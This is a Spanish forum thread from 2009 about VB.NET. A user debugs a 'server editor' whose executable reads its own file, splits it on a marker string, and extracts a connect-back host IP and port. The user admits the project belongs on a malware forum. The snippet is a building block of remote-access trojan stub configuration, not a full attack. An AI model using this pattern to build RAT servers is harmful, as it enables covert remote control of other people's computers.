Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: Kasi en 17 Julio 2009, 16:18 pm



Título: [Solucionado] Problema de lectura de ficheros
Publicado por: Kasi en 17 Julio 2009, 16:18 pm
Muy buenas, verán tengo un problema con un pequeño código de un editor de servers, se que este no es el foro de malware, pero el lenguajes es el de este foro, y creo que aquí podre encontrar mas ayuda.

El problema llega a la hora de leer un fichero que ya está en uso por algun proceso, en este caso el fichero seria el mismo ejecutable.

Código:
Public Sub EditarServer()
        On Error Resume Next 'Si le quito el resume salta el error
        Dim Yo As String
        Dim Partes As Object
        Dim SubFirma As String
        SubFirma = "@#~~#@"

        FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary)
        Yo = Space(LOF(1))
        FileGet(1, Yo)
        FileClose(1)

        Partes = Split(Yo, SubFirma)
        IPDelHost = Partes(1)
        PuertoDelHost = Partes(2)
    End Sub

Hay que tratar los ficheros de algun otro modo?

Saludos y gracias.


Título: Re: Problema de lectura de ficheros
Publicado por: raul338 en 17 Julio 2009, 17:07 pm
Código
  1. FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary)

:O ...en el mismo exe?? jamas pense que se podria eso. Igual...intenta si le pones atributos de solo lectura y sin compartir?
Algo asi (no es vb, es .....vb + pseudo codigo xD)
Código
  1. FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.ReadOnly, FileShare.None)


Título: Re: Problema de lectura de ficheros
Publicado por: Kasi en 17 Julio 2009, 17:43 pm
Vale, tema solucionado...aqui pongo el code con la solución...

Código:
Public Sub EditarServer()
        On Error Resume Next
        Dim Yo As String
        Dim Partes() As Object ' <--- Tenia que declararlo como array u.u
        Dim SubFirma As String
        SubFirma = "@#~~#@"

        FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) ' Y abrirlo como shared para poderse usarse a si mismo..
        Yo = Space(LOF(1))
        FileGet(1, Yo)
        FileClose(1)

        Partes = Split(Yo, SubFirma)
        IPDelHost = Partes(1).ToString
        PuertoDelHost = Partes(2).ToString
    End Sub